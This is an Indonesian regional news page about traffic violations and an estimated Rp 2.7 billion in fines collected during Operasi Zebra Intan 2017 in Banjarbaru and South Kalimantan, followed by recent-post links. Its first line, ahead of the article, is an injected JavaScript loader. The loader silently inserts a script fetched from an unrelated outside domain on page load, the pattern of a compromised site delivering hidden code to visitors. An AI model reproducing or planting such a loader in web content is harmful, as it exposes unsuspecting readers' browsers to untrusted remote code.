(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Berapa Uang Disetor Pelanggar Selama Operasi Zebra? Ternyata Mencapai……!!!


BANJARBARU, Selama 14 hari pelaksanaan Operasi Zebra Intan 2017 di Kalsel, ditemukan sebanyak 18.124 kasus pelanggaran. Dari jumlah tersebut, Polres Banjarbaru berkontribusi menyetor 1.980 kasus pelanggaran lalu-lintas sehingga menempati urutan 3 tertinggi.

Di atasnya ada Polres Kabupaten Banjar dengan total 2.011, dan peringkat pertama diduduki Polresta Banjarmasin dengan total pelanggaran 2.520 kasus. Lalu, berapa kira-kira uang denda yang telah disetor para pelanggarar melalui e-tilang tersebut?

Ternyata, setelah dihitung jumlahnya mencapai miliaran rupiah! Wouw. Tak percaya? Coba sekarang kita hitung. Menurut Kasat Lantas Polres Banjarbaru AKP Gustaf Adolf Mamuaya SE S IK melalui Kanit Dikyasa Polres Banjarbaru Iptu Tajudin Noor, bahwa nilai terendah e-tilang adalah Rp 100 ribu dan tertinggi mencapai Rp 350 ribu.

“Pembayaran tilang dilakukan melalui Bank BRI,” katanya.

Nah, sekarang jika diambi rata-rata satu pelanggar Rp 150 ribu, lalu dikalikan 18.124 kasus, maka hasilnya menjadi Rp 2.718.600.000. Jadi, selama 14 hari saja para pelanggar lalu-lintas telah menampah kas negara sebanyak Rp 2,7 miliar lebih. Itu, jika pakai patokan angka Rp 150 ribu. Jika lebih besar, maka hasilnya pun pasti juga akan lebih banyak lagi.

Tajuddin mengungkapkan sejak dilaksanakan operasi Zebra tanggal 1 November hingga 14 November 2017 tidak ditemui Lakalntas di Banjarbaru.

“Alhamdulillah selama 14 hari operasi Zebra tidak ada Laka yang terjadi. Ini akan terus kita lakukan jagaan hingga menjelang akhir tahun 2017 dan jelang Natal,” ungkapnya.

Karena itu, jajaran Satuan Lalu Lintas Polres Banjarbaru tetap akan melakukan Dikmas dan razia dua kali dalam seminggu lanjutnya.

“Ingat Stop Pelanggaran Stop Kecelakaan Safety for Humanity, Keselamatan untuk Kemanusian,” tegas Iptu Tajudin.

Sementara itu, untuk Kalsel tercatat selama Operasi Zebra Intan 2017 hanya terjadi empat kasus kecelakaan lalu lintas. Hal ini disampaikan Direktur Lalu Lintas Kombes E Zulpan melalui Wadir Lantas AKBP Pepen Supena.

Menurutnya ini berdasarkan hasil analisa dan evaluasi disimpulkan bahwa adanya ‘prestasi’ Ops Zebra Intan ini bisa menurunkan angka kecelakaan lalu lintas sebanyak 85 persen dibandingkan pada Operasi Zebra Intan 2016 lalu.


Page: 1 2

Desy Arfianty

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

6 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

6 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

7 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

7 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

8 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

8 jam ago

This website uses cookies.